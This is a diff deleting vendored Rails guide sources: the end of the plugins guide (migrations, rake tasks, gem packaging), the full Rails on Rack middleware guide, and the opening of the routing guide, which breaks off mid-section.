-NOTE: If you haven't set up the custom route from above, 'script/destroy' will fail and you'll have to remove it manually.
-
-h3. Migrations
-
-If your plugin requires changes to the app's database you will likely want to somehow add migrations.  Rails does not include any built-in support for calling migrations from plugins, but you can still make it easy for developers to call migrations from plugins.
-
-If you have a very simple needs, like creating a table that will always have the same name and columns, then you can use a more simple solution, like creating a custom rake task or method.  If your migration needs user input to supply table names or other options, you probably want to opt for generating a migration.
-
-Let's say you have the following migration in your plugin:
-
-* *vendor/plugins/yaffle/lib/db/migrate/20081116181115_create_birdhouses.rb:*
-
-<ruby>
-class CreateBirdhouses < ActiveRecord::Migration
-  def self.up
-    create_table :birdhouses, :force => true do |t|
-      t.string :name
-      t.timestamps
-    end
-  end
-
-  def self.down
-    drop_table :birdhouses
-  end
-end
-</ruby>
-
-Here are a few possibilities for how to allow developers to use your plugin migrations:
-
-h4. Create a Custom Rake Task
-
-* *vendor/plugins/yaffle/tasks/yaffle_tasks.rake:*
-
-<ruby>
-namespace :db do
-  namespace :migrate do
-    description = "Migrate the database through scripts in vendor/plugins/yaffle/lib/db/migrate"
-    description << "and update db/schema.rb by invoking db:schema:dump."
-    description << "Target specific version with VERSION=x. Turn off output with VERBOSE=false."
-
-    desc description
-    task :yaffle => :environment do
-      ActiveRecord::Migration.verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true
-      ActiveRecord::Migrator.migrate("vendor/plugins/yaffle/lib/db/migrate/", ENV["VERSION"] ? ENV["VERSION"].to_i : nil)
-      Rake::Task["db:schema:dump"].invoke if ActiveRecord::Base.schema_format == :ruby
-    end
-  end
-end
-</ruby>
-
-h4. Call Migrations Directly
-
-* *vendor/plugins/yaffle/lib/yaffle.rb:*
-
-<ruby>
-Dir.glob(File.join(File.dirname(__FILE__), "db", "migrate", "*")).each do |file|
-  require file
-end
-</ruby>
-
-* *db/migrate/20081116181115_create_birdhouses.rb:*
-
-<ruby>
-class CreateBirdhouses < ActiveRecord::Migration
-  def self.up
-    Yaffle::CreateBirdhouses.up
-  end
-
-  def self.down
-    Yaffle::CreateBirdhouses.down
-  end
-end
-</ruby>
-
-NOTE: several plugin frameworks such as Desert and Engines provide more advanced plugin functionality.
-
-h4. Generate Migrations
-
-Generating migrations has several advantages over other methods.  Namely, you can allow other developers to more easily customize the migration.  The flow looks like this:
-
- * call your script/generate script and pass in whatever options they need
- * examine the generated migration, adding/removing columns or other options as necessary
-
-This example will demonstrate how to use one of the built-in generator methods named 'migration_template' to create a migration file.  Extending the rails migration generator requires a somewhat intimate knowledge of the migration generator internals, so it's best to write a test first:
-
-* *vendor/plugins/yaffle/test/yaffle_migration_generator_test.rb*
-
-<ruby>
-require File.dirname(__FILE__) + '/test_helper.rb'
-require 'rails_generator'
-require 'rails_generator/scripts/generate'
-
-class MigrationGeneratorTest < Test::Unit::TestCase
-
-  def setup
-    FileUtils.mkdir_p(fake_rails_root)
-    @original_files = file_list
-  end
-
-  def teardown
-    ActiveRecord::Base.pluralize_table_names = true
-    FileUtils.rm_r(fake_rails_root)
-  end
-
-  def test_generates_correct_file_name
-    Rails::Generator::Scripts::Generate.new.run(["yaffle_migration", "some_name_nobody_is_likely_to_ever_use_in_a_real_migration"],
-      :destination => fake_rails_root)
-    new_file = (file_list - @original_files).first
-    assert_match /add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migrations/, new_file
-    assert_match /add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migrations do |t|/, File.read(new_file)
-  end
-
-  def test_pluralizes_properly
-    ActiveRecord::Base.pluralize_table_names = false
-    Rails::Generator::Scripts::Generate.new.run(["yaffle_migration", "some_name_nobody_is_likely_to_ever_use_in_a_real_migration"],
-      :destination => fake_rails_root)
-    new_file = (file_list - @original_files).first
-    assert_match /add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migration/, new_file
-    assert_match /add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migration do |t|/, File.read(new_file)
-  end
-
-  private
-    def fake_rails_root
-      File.join(File.dirname(__FILE__), 'rails_root')
-    end
-
-    def file_list
-      Dir.glob(File.join(fake_rails_root, "db", "migrate", "*"))
-    end
-
-end
-</ruby>
-
-NOTE: the migration generator checks to see if a migation already exists, and it's hard-coded to check the 'db/migrate' directory.  As a result, if your test tries to generate a migration that already exists in the app, it will fail.  The easy workaround is to make sure that the name you generate in your test is very unlikely to actually appear in the app.
-
-After running the test with 'rake' you can make it pass with:
-
-* *vendor/plugins/yaffle/generators/yaffle_migration/yaffle_migration_generator.rb*
-
-<ruby>
-class YaffleMigrationGenerator < Rails::Generator::NamedBase
-  def manifest
-    record do |m|
-      m.migration_template 'migration:migration.rb', "db/migrate", {:assigns => yaffle_local_assigns,
-        :migration_file_name => "add_yaffle_fields_to_#{custom_file_name}"
-      }
-    end
-  end
-
-  private
-    def custom_file_name
-      custom_name = class_name.underscore.downcase
-      custom_name = custom_name.pluralize if ActiveRecord::Base.pluralize_table_names
-      custom_name
-    end
-
-    def yaffle_local_assigns
-      {}.tap do |assigns|
-        assigns[:migration_action] = "add"
-        assigns[:class_name] = "add_yaffle_fields_to_#{custom_file_name}"
-        assigns[:table_name] = custom_file_name
-        assigns[:attributes] = [Rails::Generator::GeneratedAttribute.new("last_squawk", "string")]
-      end
-    end
-end
-</ruby>
-
-The generator creates a new file in 'db/migrate' with a timestamp and an 'add_column' statement.  It reuses the built in rails +migration_template+ method, and reuses the built-in rails migration template.
-
-It's courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names.  This way people using your generator won't have to manually change the generated files if they've turned pluralization off.
-
-To run the generator, type the following at the command line:
-
-<shell>
-./script/generate yaffle_migration bird
-</shell>
-
-and you will see a new file:
-
-* *db/migrate/20080529225649_add_yaffle_fields_to_birds.rb*
-
-<ruby>
-class AddYaffleFieldsToBirds < ActiveRecord::Migration
-  def self.up
-    add_column :birds, :last_squawk, :string
-  end
-
-  def self.down
-    remove_column :birds, :last_squawk
-  end
-end
-</ruby>
-
-h3. Rake tasks
-
-When you created the plugin with the built-in rails generator, it generated a rake file for you in 'vendor/plugins/yaffle/tasks/yaffle_tasks.rake'.  Any rake task you add here will be available to the app.
-
-Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so:
-
-* *vendor/plugins/yaffle/tasks/yaffle_tasks.rake*
-
-<ruby>
-namespace :yaffle do
-  desc "Prints out the word 'Yaffle'"
-  task :squawk => :environment do
-    puts "squawk!"
-  end
-end
-</ruby>
-
-When you run +rake -T+ from your plugin you will see:
-
-<shell>
-yaffle:squawk             # Prints out the word 'Yaffle'
-</shell>
-
-You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up.
-
-Note that tasks from 'vendor/plugins/yaffle/Rakefile' are not available to the main app.
-
-h3. PluginGems
-
-Turning your rails plugin into a gem is a simple and straightforward task.  This section will cover how to turn your plugin into a gem.  It will not cover how to distribute that gem.
-
-Historically rails plugins loaded the plugin's 'init.rb' file.  In fact some plugins contain all of their code in that one file.  To be compatible with plugins, 'init.rb' was moved to 'rails/init.rb'.
-
-It's common practice to put any developer-centric rake tasks (such as tests, rdoc and gem package tasks) in 'Rakefile'.  A rake task that packages the gem might look like this:
-
-* *vendor/plugins/yaffle/Rakefile:*
-
-<ruby>
-PKG_FILES = FileList[
-  '[a-zA-Z]*',
-  'generators/**/*',
-  'lib/**/*',
-  'rails/**/*',
-  'tasks/**/*',
-  'test/**/*'
-]
-
-spec = Gem::Specification.new do |s|
-  s.name = "yaffle"
-  s.version = "0.0.1"
-  s.author = "Gleeful Yaffler"
-  s.email = "yaffle@example.com"
-  s.homepage = "http://yafflers.example.com/"
-  s.platform = Gem::Platform::RUBY
-  s.summary = "Sharing Yaffle Goodness"
-  s.files = PKG_FILES.to_a
-  s.require_path = "lib"
-  s.has_rdoc = false
-  s.extra_rdoc_files = ["README"]
-end
-
-desc 'Turn this plugin into a gem.'
-Rake::GemPackageTask.new(spec) do |pkg|
-  pkg.gem_spec = spec
-end
-</ruby>
-
-To build and install the gem locally, run the following commands:
-
-<shell>
-cd vendor/plugins/yaffle
-rake gem
-sudo gem install pkg/yaffle-0.0.1.gem
-</shell>
-
-To test this, create a new rails app, add 'config.gem "yaffle"' to environment.rb and all of your plugin's functionality will be available to you.
-
-h3. RDoc Documentation
-
-Once your plugin is stable and you are ready to deploy do everyone else a favor and document it!  Luckily, writing documentation for your plugin is easy.
-
-The first step is to update the README file with detailed information about how to use your plugin.  A few key things to include are:
-
-* Your name
-* How to install
-* How to add the functionality to the app (several examples of common use cases)
-* Warning, gotchas or tips that might help save users time
-
-Once your README is solid, go through and add rdoc comments to all of the methods that developers will use.  It's also customary to add '#:nodoc:' comments to those parts of the code that are not part of the public api.
-
-Once your comments are good to go, navigate to your plugin directory and run:
-
-<shell>
-rake rdoc
-</shell>
-
-h3. Appendix
-
-If you prefer to use RSpec instead of Test::Unit, you may be interested in the "RSpec Plugin Generator":http://github.com/pat-maddox/rspec-plugin-generator/tree/master.
-
-h4. References
-
-* http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i
-* http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-ii
-* http://github.com/technoweenie/attachment_fu/tree/master
-* http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html
-* http://www.mbleigh.com/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins
-* http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2.
-
-h4. Contents of +lib/yaffle.rb+
-
-* *vendor/plugins/yaffle/lib/yaffle.rb:*
-
-<ruby>
-require "yaffle/core_ext"
-require "yaffle/acts_as_yaffle"
-require "yaffle/commands"
-require "yaffle/routing"
-
-%w{ models controllers helpers }.each do |dir|
-  path = File.join(File.dirname(__FILE__), 'app', dir)
-  $LOAD_PATH << path
-  ActiveSupport::Dependencies.load_paths << path
-  ActiveSupport::Dependencies.load_once_paths.delete(path)
-end
-
-# optionally:
-# Dir.glob(File.join(File.dirname(__FILE__), "db", "migrate", "*")).each do |file|
-#   require file
-# end
-</ruby>
-
-h4. Final Plugin Directory Structure
-
-The final plugin should have a directory structure that looks something like this:
-
-<shell>
-|-- MIT-LICENSE
-|-- README
-|-- Rakefile
-|-- generators
-|   |-- yaffle_definition
-|   |   |-- USAGE
-|   |   |-- templates
-|   |   |   `-- definition.txt
-|   |   `-- yaffle_definition_generator.rb
-|   |-- yaffle_migration
-|   |   |-- USAGE
-|   |   |-- templates
-|   |   `-- yaffle_migration_generator.rb
-|   `-- yaffle_route
-|       |-- USAGE
-|       |-- templates
-|       `-- yaffle_route_generator.rb
-|-- install.rb
-|-- lib
-|   |-- app
-|   |   |-- controllers
-|   |   |   `-- woodpeckers_controller.rb
-|   |   |-- helpers
-|   |   |   `-- woodpeckers_helper.rb
-|   |   `-- models
-|   |       `-- woodpecker.rb
-|   |-- db
-|   |   `-- migrate
-|   |       `-- 20081116181115_create_birdhouses.rb
-|   |-- yaffle
-|   |   |-- acts_as_yaffle.rb
-|   |   |-- commands.rb
-|   |   |-- core_ext.rb
-|   |   `-- routing.rb
-|   `-- yaffle.rb
-|-- pkg
-|   `-- yaffle-0.0.1.gem
-|-- rails
-|   `-- init.rb
-|-- tasks
-|   `-- yaffle_tasks.rake
-|-- test
-|   |-- acts_as_yaffle_test.rb
-|   |-- core_ext_test.rb
-|   |-- database.yml
-|   |-- debug.log
-|   |-- definition_generator_test.rb
-|   |-- migration_generator_test.rb
-|   |-- route_generator_test.rb
-|   |-- routes_test.rb
-|   |-- schema.rb
-|   |-- test_helper.rb
-|   |-- woodpecker_test.rb
-|   |-- woodpeckers_controller_test.rb
-|   |-- wookpeckers_helper_test.rb
-|   |-- yaffle_plugin.sqlite3.db
-|   `-- yaffle_test.rb
-`-- uninstall.rb
-</shell>
-
-h3. Changelog
-
-"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/32-update-plugins-guide
-
-* November 17, 2008: Major revision by Jeff Dean
diff --git a/vendor/rails/railties/guides/source/rails_on_rack.textile b/vendor/rails/railties/guides/source/rails_on_rack.textile
deleted file mode 100644
index 07ca1624..00000000
--- a/vendor/rails/railties/guides/source/rails_on_rack.textile
+++ /dev/null
@@ -1,309 +0,0 @@
-h2. Rails on Rack
-
-This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to:
-
-* Create Rails Metal applications
-* Use Rack Middlewares in your Rails applications
-* Understand Action Pack's internal Middleware stack
-* Define a custom Middleware stack
-
-endprologue.
-
-WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and Rack::Builder.
-
-h3. Introduction to Rack
-
-bq. Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
-
-- "Rack API Documentation":http://rack.rubyforge.org/doc/
-
-Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the following links:
-
-* "Official Rack Website":http://rack.github.com
-* "Introducing Rack":http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html
-* "Ruby on Rack #1 - Hello Rack!":http://m.onkey.org/2008/11/17/ruby-on-rack-1
-* "Ruby on Rack #2 - The Builder":http://m.onkey.org/2008/11/18/ruby-on-rack-2-rack-builder
-
-h3. Rails on Rack
-
-h4. Rails Application's Rack Object
-
-<tt>ActionController::Dispatcher.new</tt> is the primary Rack application object of a Rails application. Any Rack compliant web server should be using +ActionController::Dispatcher.new+ object to serve a Rails application.</p>
-
-h4. +script/server+
-
-<tt>script/server</tt> does the basic job of creating a +Rack::Builder+ object and starting the webserver. This is Rails' equivalent of Rack's +rackup+ script.
-
-Here's how +script/server+ creates an instance of +Rack::Builder+
-
-<ruby>
-app = Rack::Builder.new {
-  use Rails::Rack::LogTailer unless options[:detach]
-  use Rails::Rack::Debugger if options[:debugger]
-
-  map "/" do
-    use Rails::Rack::Static
-    run ActionController::Dispatcher.new
-  end
-}.to_app
-</ruby>
-
-Middlewares used in the code above are primarily useful only in the development envrionment. The following table explains their usage:
-
-|_.Middleware|_.Purpose|
-|Rails::Rack::LogTailer|Appends log file output to console|
-|Rails::Rack::Static|Serves static files inside +RAILS_ROOT/public+ directory|
-|Rails::Rack::Debugger|Starts Debugger|
-
-h4. +rackup+
-
-To use +rackup+ instead of Rails' +script/server+, you can put the following inside +config.ru+ of your Rails application's root directory:
-
-<ruby>
-# RAILS_ROOT/config.ru
-require "config/environment"
-
-use Rails::Rack::LogTailer
-use Rails::Rack::Static
-run ActionController::Dispatcher.new
-</ruby>
-
-And start the server:
-
-<shell>
-[lifo@null application]$ rackup
-</shell>
-
-To find out more about different +rackup+ options:
-
-<shell>
-[lifo@null application]$ rackup --help
-</shell>
-
-h3. Action Controller Middleware Stack
-
-Many of Action Controller's internal components are implemented as Rack middlewares. +ActionController::Dispatcher+ uses +ActionController::MiddlewareStack+ to combine various internal and external middlewares to form a complete Rails Rack application.
-
-NOTE: +ActionController::MiddlewareStack+ is Rails' equivalent of +Rack::Builder+, but built for better flexibility and more features to meet Rails' requirements.
-
-h4. Inspecting Middleware Stack
-
-Rails has a handy rake task for inspecting the middleware stack in use:
-
-<shell>
-$ rake middleware
-</shell>
-
-For a freshly generated Rails application, this might produce something like:
-
-<ruby>
-use Rack::Lock
-use ActionController::Failsafe
-use ActionController::Session::CookieStore, , {:secret=>"<secret>", :session_key=>"_<app>_session"}
-use Rails::Rack::Metal
-use ActionController::RewindableInput
-use ActionController::ParamsParser
-use Rack::MethodOverride
-use Rack::Head
-use ActiveRecord::QueryCache
-run ActionController::Dispatcher.new
-</ruby>
-
-Purpose of each of this middlewares is explained in "Internal Middlewares":#internal-middleware-stack section.
-
-h4. Configuring Middleware Stack
-
-Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +environment.rb+ or the environment specific configuration file <tt>environments/&lt;environment&gt;.rb</tt>.
-
-h5. Adding a Middleware
-
-You can add a new middleware to the middleware stack using any of the following methods:
-
-* +config.middleware.use(new_middleware, args)+ - Adds the new middleware at the bottom of the middleware stack.
-
-* +config.middleware.insert_before(existing_middleware, new_middleware, args)+ - Adds the new middleware before the specified existing middleware in the middleware stack.
-
-* +config.middleware.insert_after(existing_middleware, new_middleware, args)+ - Adds the new middleware after the specified existing middleware in the middleware stack.
-
-<strong>Example:</strong>
-
-<ruby>
-# environment.rb
-
-# Push Rack::BounceFavicon at the bottom
-config.middleware.use Rack::BounceFavicon
-
-# Add Lifo::Cache after ActiveRecord::QueryCache.
-# Pass { :page_cache => false } argument to Lifo::Cache.
-config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, :page_cache => false
-</ruby>
-
-h5. Swapping a Middleware
-
-You can swap an existing middleware in the middleware stack using +config.middleware.swap+.
-
-<strong>Example:</strong>
-
-<ruby>
-# environment.rb
-
-# Replace ActionController::Failsafe with Lifo::Failsafe
-config.middleware.swap ActionController::Failsafe, Lifo::Failsafe
-</ruby>
-
-h5. Middleware Stack is an Array
-
-The middleware stack behaves just like a normal +Array+. You can use any +Array+ methods to insert, reorder, or remove items from the stack. Methods described in the section above are just convenience methods.
-
-For example, the following removes the middleware matching the supplied class name:
-
-<ruby>
-config.middleware.delete(middleware)
-</ruby>
-
-h4. Internal Middleware Stack
-
-Much of Action Controller's functionality is implemented as Middlewares. The following table explains the purpose of each of them:
-
-|_.Middleware|_.Purpose|
-|Rack::Lock|Sets +env["rack.multithread"]+ flag to +true+ and wraps the application within a Mutex.|
-|ActionController::Failsafe|Returns HTTP Status +500+ to the client if an exception gets raised while dispatching.|
-|ActiveRecord::QueryCache|Enable the Active Record query cache.|
-|ActionController::Session::CookieStore|Uses the cookie based session store.|
-|ActionController::Session::MemCacheStore|Uses the memcached based session store.|
-|ActiveRecord::SessionStore|Uses the database based session store.|
-|Rack::MethodOverride|Sets HTTP method based on +_method+ parameter or +env["HTTP_X_HTTP_METHOD_OVERRIDE"]+.|
-|Rack::Head|Discards the response body if the client sends a +HEAD+ request.|
-
-TIP: It's possible to use any of the above middlewares in your custom Rack stack.
-
-h4. Customizing Internal Middleware Stack
-
-It's possible to replace the entire middleware stack with a custom stack using +ActionController::Dispatcher.middleware=+.
-
-<strong>Example:</strong>
-
-Put the following in an initializer:
-
-<ruby>
-# config/initializers/stack.rb
-ActionController::Dispatcher.middleware = ActionController::MiddlewareStack.new do |m|
-  m.use ActionController::Failsafe
-  m.use ActiveRecord::QueryCache
-  m.use Rack::Head
-end
-</ruby>
-
-And now inspecting the middleware stack:
-
-<shell>
-$ rake middleware
-(in /Users/lifo/Rails/blog)
-use ActionController::Failsafe
-use ActiveRecord::QueryCache
-use Rack::Head
-run ActionController::Dispatcher.new
-</shell>
-
-h4. Using Rack Builder
-
-The following shows how to replace use +Rack::Builder+ instead of the Rails supplied +MiddlewareStack+.
-
-<strong>Clear the existing Rails middleware stack</strong>
-
-<ruby>
-# environment.rb
-config.middleware.clear
-</ruby>
-
-<br />
-<strong>Add a +config.ru+ file to +RAILS_ROOT+</strong>
-
-<ruby>
-# config.ru
-use MyOwnStackFromStratch
-run ActionController::Dispatcher.new
-</ruby>
-
-h3. Rails Metal Applications
-
-Rails Metal applications are minimal Rack applications specially designed for integrating with a typical Rails application. As Rails Metal Applications skip all of the Action Controller stack, serving a request has no overhead from the Rails framework itself. This is especially useful for infrequent cases where the performance of the full stack Rails framework is an issue.
-
-Ryan Bates' railscast on the "Rails Metal":http://railscasts.com/episodes/150-rails-metal provides a nice walkthrough generating and using Rails Metal.
-
-h4. Generating a Metal Application
-
-Rails provides a generator called +metal+ for creating a new Metal application:
-
-<shell>
-$ script/generate metal poller
-</shell>
-
-This generates +poller.rb+ in the +app/metal+ directory:
-
-<ruby>
-# Allow the metal piece to run in isolation
-require(File.dirname(__FILE__) + "/../../config/environment") unless defined?(Rails)
-
-class Poller
-  def self.call(env)
-    if env["PATH_INFO"] =~ /^\/poller/
-      [200, {"Content-Type" => "text/html"}, ["Hello, World!"]]
-    else
-      [404, {"Content-Type" => "text/html"}, ["Not Found"]]
-    end
-  end
-end
-</ruby>
-
-Metal applications within +app/metal+ folders in plugins will also be discovered and added to the list 
-
-Metal applications are an optimization. You should make sure to "understand the related performance implications":http://weblog.rubyonrails.org/2008/12/20/performance-of-rails-metal before using it.
-
-h4. Execution Order
-
-All Metal Applications are executed by +Rails::Rack::Metal+ middleware, which is a part of the +ActionController::MiddlewareStack+ chain.
-
-Here's the primary method responsible for running the Metal applications:
-
-<ruby>
-def call(env)
-  @metals.keys.each do |app|
-    result = app.call(env)
-    return result unless result[0].to_i == 404
-  end
-  @app.call(env)
-end
-</ruby>
-
-In the code above, +@metals+ is an ordered hash of metal applications. Due to the default alphabetical ordering, +aaa.rb+ will come before +bbb.rb+ in the metal chain.
-
-It is, however, possible to override the default ordering in your environment. Simply add a line like the following to +config/environment.rb+
-
-<ruby>
-config.metals = ["Bbb", "Aaa"]
-</ruby>
-
-Each string in the array should be the name of your metal class. If you do this then be warned that any metal applications not listed will not be loaded.
-
-WARNING: Metal applications cannot return the HTTP Status +404+ to a client, as it is used for continuing the Metal chain execution. Please use normal Rails controllers or a custom middleware if returning +404+ is a requirement.
-
-h3. Resources
-
-h4. Learning Rack
-
-* "Official Rack Website":http://rack.github.com
-* "Introducing Rack":http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html
-* "Ruby on Rack #1 - Hello Rack!":http://m.onkey.org/2008/11/17/ruby-on-rack-1
-* "Ruby on Rack #2 - The Builder":http://m.onkey.org/2008/11/18/ruby-on-rack-2-rack-builder
-
-h4. Understanding Middlewares
-
-* "Railscast on Rack Middlewares":http://railscasts.com/episodes/151-rack-middleware
-
-h3. Changelog
-
-"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/58
-
-* February 7, 2009: Second version by "Pratik":credits.html#lifo
-* January 11, 2009: First version by "Pratik":credits.html#lifo
diff --git a/vendor/rails/railties/guides/source/routing.textile b/vendor/rails/railties/guides/source/routing.textile
deleted file mode 100644
index a4d9e140..00000000
--- a/vendor/rails/railties/guides/source/routing.textile
+++ /dev/null
@@ -1,903 +0,0 @@
-h2. Rails Routing from the Outside In
-
-This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:
-
-* Understand the purpose of routing
-* Decipher the code in +routes.rb+
-* Construct your own routes, using either the classic hash style or the now-preferred RESTful style
-* Identify how a route will map to a controller and action
-
-endprologue.
-
-h3. The Dual Purpose of Routing
-
-Rails routing is a two-way piece of machinery - rather as if you could turn trees into paper, and then turn paper back into trees. Specifically, it both connects incoming HTTP requests to the code in your application's controllers, and helps you generate URLs without having to hard-code them as strings.
-
-h4. Connecting URLs to Code
-
-When your Rails application receives an incoming HTTP request, say
-
-<pre>
-GET /patients/17
-</pre>
-
-the routing engine within Rails is the piece of code that dispatches the request to the appropriate spot in your application. In this case, the application would most likely end up running the +show+ action within the +patients+ controller, displaying the details of the patient whose ID is 17.
-
-h4. Generating URLs from Code
-
-Routing also works in reverse. If your application contains this code:
-
-<ruby>
-@patient = Patient.find(17)
-</ruby>
-
-<erb>
-<%= link_to "Patient Record", patient_path(@patient) %>
-</erb>
-
-Then the routing engine is the piece that translates that to a link to a URL such as +http://example.com/patients/17+. By using routing in this way, you can reduce the brittleness of your application as compared to one with hard-coded URLs, and make your code easier to read and understand.
-
-NOTE: Patient needs to be declared as a resource for this style of translation via a named route to be available.
-
-h3. Quick Tour of +routes.rb+
-
-There are two components to routing in Rails: the routing engine itself, which is supplied as part of Rails, and the file +config/routes.rb+, which contains the actual routes that will be used by your application. Learning exactly what you can put in +routes.rb+ is the main topic of this guide, but before we dig in let's get a quick overview.
-
-h4. Processing the File
-
-In format, +routes.rb+ is nothing more than one big block sent to +ActionController::Routing::Routes.draw+. Within this block, you can have comments, but it's likely that most of your content will be individual lines of code - each line being a route in your application. You'll find five main types of content in this file:
-
-* RESTful Routes
-* Named Routes
-* Nested Routes
-* Regular Routes
-* Default Routes
-
-Each of these types of route is covered in more detail later in this guide.
-
-The +routes.rb+ file is processed from top to bottom when a request comes in. The request will be dispatched to the first matching route. If there is no matching route, then Rails returns HTTP status 404 to the caller.
-
-h4. RESTful Routes
-
-RESTful routes take advantage of the built-in REST orientation of Rails to wrap up a lot of routing information in a single declaration. A RESTful route looks like this:
-
-<ruby>
-map.resources :books
-</ruby>
-
-h4. Named Routes
-
-Named routes give you very readable links in your code, as well as handling incoming requests. Here's a typical named route:
-
-<ruby>
-map.login '/login', :controller => 'sessions', :action => 'new'
-</ruby>
-
-h4. Nested Routes
-
-Nested routes let you declare that one resource is contained within another resource. You'll see later on how this translates to URLs and paths in your code. For example, if your application includes parts, each of which belongs to an assembly, you might have this nested route declaration:
-
-<ruby>
-map.resources :assemblies do |assemblies|
-  assemblies.resources :parts
-end
-</ruby>
-
-h4. Regular Routes
-
-In many applications, you'll also see non-RESTful routing, which explicitly connects the parts of a URL to a particular action. For example,
-
-<ruby>
-map.connect 'parts/:number', :controller => 'inventory', :action => 'show'
-</ruby>
-
-h4. Default Routes
-
-The default routes are a safety net that catch otherwise-unrouted requests. Many Rails applications will contain this pair of default routes:
-
-<ruby>
-map.connect ':controller/:action/:id'
-map.connect ':controller/:action/:id.:format'
-</ruby>
-
-These default routes are automatically generated when you create a new Rails application. If you're using RESTful routing for everything in your application, you will probably want to remove them. But be sure you're not using the default routes before you remove them!
-
-h3. RESTful Routing: the Rails Default
-
-RESTful routing is the current standard for routing in Rails, and it's the one that you should prefer for new applications. It can take a little while to understand how RESTful routing works, but it's worth the effort; your code will be easier to read and you'll be working with Rails, rather than fighting against it, when you use this style of routing.
-
-h4. What is REST?
-
-The foundation of RESTful routing is generally considered to be Roy Fielding's doctoral thesis, "Architectural Styles and the Design of Network-based Software Architectures":http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:
-
-* Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
-* Transferring representations of the state of that resource between system components.
-
-For example, to a Rails application a request such as this:
-
-<pre>
-DELETE /photos/17
-</pre>
-
-would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.
-
-h4. CRUD, Verbs, and Actions
-
-In Rails, a RESTful route provides a mapping between HTTP verbs, controller actions, and (implicitly) CRUD operations in a database. A single entry in the routing file, such as
-
-<ruby>
-map.resources :photos
-</ruby>
-
-creates seven different routes in your application:
-
-|_.HTTP verb|_.URL           |_.controller|_.action |_.used for|
-|GET        |/photos         |Photos      |index    |display a list of all photos|
-|GET        |/photos/new     |Photos      |new      |return an HTML form for creating a new photo|
-|POST       |/photos         |Photos      |create   |create a new photo|
-|GET        |/photos/1       |Photos      |show     |display a specific photo|
-|GET        |/photos/1/edit  |Photos      |edit     |return an HTML form for editing a photo|
-|PUT        |/photos/1       |Photos      |update   |update a specific photo|
-|DELETE     |/photos/1       |Photos      |destroy  |delete a specific photo|
-
-For the specific routes (those that reference just a single resource), the identifier for the resource will be available within the corresponding controller action as +params[:id]+.
-
-TIP: If you consistently use RESTful routes in your application, you should disable the default routes in +routes.rb+ so that Rails will enforce the mapping between HTTP verbs and routes.
-
-h4. URLs and Paths
-
-Creating a RESTful route will also make available a pile of helpers within your application:
-
-* +photos_url+ and +photos_path+ map to the path for the index and create actions
-* +new_photo_url+ and +new_photo_path+ map to the path for the new action
-* +edit_photo_url+ and +edit_photo_path+ map to the path for the edit action
-* +photo_url+ and +photo_path+ map to the path for the show, update, and destroy actions
-
-NOTE: Because routing makes use of the HTTP verb as well as the path in the request to dispatch requests, the seven routes generated by a RESTful routing entry only give rise to four pairs of helpers.
-
-In each case, the +_url+ helper generates a string containing the entire URL that the application will understand, while the +_path+ helper generates a string containing the relative path from the root of the application. For example:
-
-<ruby>
-photos_url  # => "http://www.example.com/photos"
-photos_path # => "/photos"
-</ruby>
-
-h4. Defining Multiple Resources at the Same Time
-
-If you need to create routes for more than one RESTful resource, you can save a bit of typing by defining them all with a single call to +map.resources+:
-
-<ruby>
-map.resources :photos, :books, :videos
-</ruby>
-
-This has exactly the same effect as
-
-<ruby>
-map.resources :photos
-map.resources :books
-map.resources :videos
-</ruby>
-
-h4. Singular Resources
-
-You can also apply RESTful routing to singleton resources within your application. In this case, you use +map.resource+ instead of +map.resources+ and the route generation is slightly different. For example, a routing entry of
-
-<ruby>
-map.resource :geocoder
-</ruby>
-
-creates six different routes in your application:
-
-|_.HTTP verb|_.URL           |_.controller|_.action |_.used for|
-|GET        |/geocoder/new   |Geocoders   |new      |return an HTML form for creating the new geocoder|
-|POST       |/geocoder       |Geocoders   |create   |create the new geocoder|
-|GET        |/geocoder       |Geocoders   |show     |display the one and only geocoder resource|
-|GET        |/geocoder/edit  |Geocoders   |edit     |return an HTML form for editing the geocoder|
-|PUT        |/geocoder       |Geocoders   |update   |update the one and only geocoder resource|
-|DELETE     |/geocoder       |Geocoders   |destroy  |delete the geocoder resource|
-
-NOTE: Even though the name of the resource is singular in +routes.rb+, the matching controller is still plural.
-
-A singular RESTful route generates an abbreviated set of helpers:
-
-* +new_geocoder_url+ and +new_geocoder_path+ map to the path for the new action
-* +edit_geocoder_url+ and +edit_geocoder_path+ map to the path for the edit action
-* +geocoder_url+ and +geocoder_path+ map to the path for the create, show, update, and destroy actions
-
-h4. Customizing Resources
-
-Although the conventions of RESTful routing are likely to be sufficient for many applications, there are a number of ways to customize the way that RESTful routes work. These options include:
-
